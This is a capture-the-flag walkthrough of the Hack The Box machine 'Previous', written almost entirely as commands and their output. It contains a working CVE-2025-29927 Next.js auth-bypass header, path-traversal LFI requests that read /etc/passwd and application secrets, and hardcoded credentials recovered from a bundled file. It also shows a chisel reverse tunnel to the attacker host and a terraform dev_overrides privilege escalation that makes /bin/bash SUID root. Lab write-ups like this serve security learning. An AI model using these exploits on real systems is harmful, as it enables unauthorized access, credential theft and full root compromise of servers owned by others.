Here is my note on PREVIOUS box from Hackthebox.
PREVIOUS: 10.129.56.22
nmapAutomator.sh --host 10.129.56.22 --type All
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_ 256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
#NO VHOST.
#NO NIKTO.
Contact = jeremy@previous.htb
/api = http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi
/signin
Sign in with some accounts and intercept it for more enumeration.
/api/auth/providers:
{"credentials":{"id":"credentials","name":"Credentials","type":"credentials","signinUrl":"http://localhost:3000/api/auth/signin/credentials","callbackUrl":"http://localhost:3000/api/auth/callback/credentials"}}
/api/auth/csrf:
{"csrfToken":"28a2e316758f6d5284c6f973bbf2b97d20f3df0808815f381c8bc1410034f63e"}
28a2e316758f6d5284c6f973bbf2b97d20f3df0808815f381c8bc1410034f63e|8a6f92091c5608a41715305b765c27ee622a1ffc4f164a60816d3628d3a3d3c9;
/api/auth/callback/credentials:
Error: Callback for provider type credentials not supported
/_next/data/qVDR2cKpRgqCslEh-llk9/docs.json
/_next/data/qVDR2cKpRgqCslEh-llk9/api/auth/signin.json?callbackUrl=%2Fdocs
#NOPE.
It's seems we have to sign in to leads /docs (%2Fdocs from callbackUrl)
The website is run by previousJS therefore vulnerable to CVE-2025-29927 exploit.
It's can bypass the authentication and leads to /docs without any account required.
https://www.offsec.com/blog/cve-2025-29927/
https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
https://github.com/0xnxt1me/CVE-2025-29927
┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -v "http://previous.htb/docs" \
-H "Host: previous.htb" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.56.22
* Trying 10.129.56.22:80...
* Connected to previous.htb (10.129.56.22) port 80
* using HTTP/1.x
> GET /docs HTTP/1.1
> Host: previous.htb
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Accept-Encoding: gzip, deflate, br
> Connection: keep-alive
>
* Request completely sent off
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 30 Aug 2025 17:36:34 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< location: /api/auth/signin?callbackUrl=%2Fdocs
<
* Connection #0 to host previous.htb left intact
/api/auth/signin?callbackUrl=%2Fdocs
┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -v "http://previous.htb/docs" \
-H "Host: previous.htb" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.56.22
* Trying 10.129.56.22:80...
* Connected to previous.htb (10.129.56.22) port 80
* using HTTP/1.x
> GET /docs HTTP/1.1
> Host: previous.htb
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
> Accept-Language: en-US,en;q=0.9
> Upgrade-Insecure-Requests: 1
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
> Accept-Encoding: gzip, deflate, br
> Connection: keep-alive
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sat, 30 Aug 2025 17:37:05 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Next.js
< ETag: "tgdw538y2p2l1"
< Vary: Accept-Encoding
< Content-Encoding: gzip
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
* client returned ERROR on write of 1073 bytes
* Failed reading the chunked-encoded stream
* closing connection #0
Looks like authentication bypass works !
So let's intercept /docs with [X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware].
GET /docs HTTP/1.1
Host: previous.htb
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
[SNIP]
and that's leads to /docs = SUCCESS !
/docs = PreviousJS Documentation.
/docs:
/docs/getting-started:
Getting Started
Start building with PreviousJS in just a few simple steps.
Prerequisites
Node.js 4 or later
React
Basic understanding of Java
Quick Start
Install the library:
npm install ... # TODO: publish the library
/docs/examples:
Hello World
import { app } from 'previous';
const app = new App();
app.start();
Download the full example here!
http://previous.htb/api/download?example=hello-world.ts
/docs/api-reference
#EMPTY
http://previous.htb/api/download?example=hello-world.ts = Vulnerable to LFI ! with middleware express bypass.
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://previous.htb/api/download?example=FUZZ'
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u "http://previous.htb/api/download?example=FUZZ" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
http://previous.htb/api/download?example=../../../../../../../../../../../../../../../../../../../../../../etc/passwd
LFI WORKS !
app_wordlist.txt:
app/.env
app/.env.local
app/.env.development
app/.env.production
app/.env.test
app/package.json
app/package-lock.json
app/yarn.lock
app/tsconfig.json
app/jsconfig.json
app/previous.config.js
app/next.config.js
app/webpack.config.js
app/babel.config.js
app/.babelrc
app/Dockerfile
app/docker-compose.yml
app/.npmrc
app/.git/config
app/.gitignore
app/.vscode/settings.json
# Source directories
app/pages/index.js
app/pages/index.tsx
app/pages/api/hello.js
app/pages/api/hello.ts
app/app/page.js
app/app/page.tsx
app/app/layout.js
app/app/layout.tsx
app/app/error.js
app/app/loading.js
app/app/not-found.js
# Components & helpers
app/components/Header.js
app/components/Footer.js
app/components/Nav.js
app/components/App.js
app/lib/db.js
app/lib/config.js
app/lib/auth.js
app/utils/helpers.js
app/utils/api.js
# Tests
app/tests/test.js
app/__tests__/app.test.js
ffuf -w app_wordlist.txt:FUZZ \
-u "http://previous.htb/api/download?example=../../../../FUZZ" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-mc 200 -fc 404
[SNIP]
app/.env [Status: 200, Size: 49, Words: 1, Lines: 2, Duration: 140ms]
app/package.json [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 213ms]
http://previous.htb/api/download?example=../../../../app/.env
http://previous.htb/api/download?example=../../../../app/package.json
Check .next in /app such as /app/.next:
Use Chatgpt to make a wordlist into one all-together.
ffuf -w one_lfi.txt:FUZZ \
-u "http://previous.htb/api/download?example=../../../../FUZZ" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-mc 200 -fc 404
[SNIP]
app/package.json [Status: 200, Size: 587, Words: 106, Lines: 27, Duration: 115ms]
app/.next/BUILD_ID [Status: 200, Size: 21, Words: 1, Lines: 1, Duration: 126ms]
app/.next/routes-manifest.json [Status: 200, Size: 2548, Words: 507, Lines: 96, Duration: 125ms]
app/.next/react-loadable-manifest.json [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 124ms]
app/.next/prerender-manifest.json [Status: 200, Size: 354, Words: 33, Lines: 11, Duration: 129ms]
app/.next/server/pages/_app.js [Status: 200, Size: 492, Words: 9, Lines: 1, Duration: 122ms]
app/.next/server/pages/_document.js [Status: 200, Size: 378, Words: 5, Lines: 1, Duration: 136ms]
:: Progress: [110/110] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
http://previous.htb/api/download?example=../../../../app/.next/BUILD_ID
http://previous.htb/api/download?example=../../../../app/.next/server/pages/_app.js
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# curl -s -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
"http://previous.htb/api/download?example=../../../../app/.next/server/pages-manifest.json" \
-o pages-manifest.json
┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# cat pages-manifest.json
{
"/_app": "pages/_app.js",
"/_error": "pages/_error.js",
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/docs/[section]": "pages/docs/[section].html",
"/docs/components/layout": "pages/docs/components/layout.html",
"/docs/components/sidebar": "pages/docs/components/sidebar.html",
"/docs/content/examples": "pages/docs/content/examples.html",
"/docs/content/getting-started": "pages/docs/content/getting-started.html",
"/docs": "pages/docs.html",
"/": "pages/index.html",
"/signin": "pages/signin.html",
"/_document": "pages/_document.js",
"/404": "pages/404.html"
}
/app/.next/server/pages/api/auth
app/.next/server/pages/api/auth/[...nextauth].js [Status: 200, Size: 1537, Words: 22, Lines: 1, Duration: 94ms]
Use it with that exploit as usual and intercept it with Burpsuite to get this file.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat '_.._.._.._app_.next_server_pages_api_auth_[...nextauth].js'
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
jeremy:MyNameIsJeremyAndILovePancakes
┌──(root㉿kali)-[/home/kali/BOXES/PREVIOUS]
└─# ssh jeremy@10.129.56.22
The authenticity of host '10.129.56.22 (10.129.56.22)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:116: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? ues
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.129.56.22' (ED25519) to the list of known hosts.
jeremy@10.129.56.22's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Aug 30 07:58:52 PM UTC 2025
System load: 0.0 Processes: 216
Usage of /: 77.9% of 8.76GB Users logged in: 0
Memory usage: 9% IPv4 address for eth0: 10.129.56.22
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Aug 30 19:58:54 2025 from 10.10.14.174
jeremy@previous:~$ whoami
jeremy
jeremy@previous:~$ hostname
previous
JEREMY USER-SHELL !
jeremy@previous:~$ whoami
jeremy
jeremy@previous:~$ hostname
previous
jeremy@previous:~$ cat user.txt
[REDIRECTED]
USER.TXT: [REDIRECTED]
PRIV ESC:
jeremy -> root:
GCC enabled.
NO SUID.
jeremy@previous:/opt/terraform-provider-examples$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -#PREVIOUSJS
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43517 0.0.0.0:* LISTEN -#404 not found = DON'T BOTHER.
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
chisel server -p 8000 --reverse
./chisel client 10.10.14.174:8000 R:43517:127.0.0.1:43517
Terraform PRIV ESC NOTES:
jeremy@previous:/opt$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
https://medium.com/@toshithh/proof-of-concept-terraform-privilege-escalation-cd3db69df90e
https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/
jeremy@previous:/opt/examples$ pwd
/opt/examples
jeremy@previous:/opt/examples$ ls
main.tf terraform.tfstate
jeremy@previous:/opt/examples$ cat main.tf
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
#So the provider name is previous.htb.
cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/terraform-provider-examples
jeremy@previous:/opt/examples$ cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/terraform-provider-examples
cat > /tmp/previous.rc << 'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
export TF_CLI_CONFIG_FILE=/tmp/previous.rc
jeremy@previous:/tmp$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain
│ schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵
jeremy@previous:/tmp$ ls -lah /bin/bash
-rwsr-xr-x 1 root root 1.4M Mar 14 2024 /bin/bash
jeremy@previous:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
bash-5.1# whoami
root
bash-5.1# hostname
previous
ROOT-SHELL !
bash-5.1# whoami
root
bash-5.1# hostname
previous
bash-5.1# ls
clean examples go root.txt
bash-5.1# cat root.txt
[REDIRECTED]
ROOT.TXT: [REDIRECTED]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
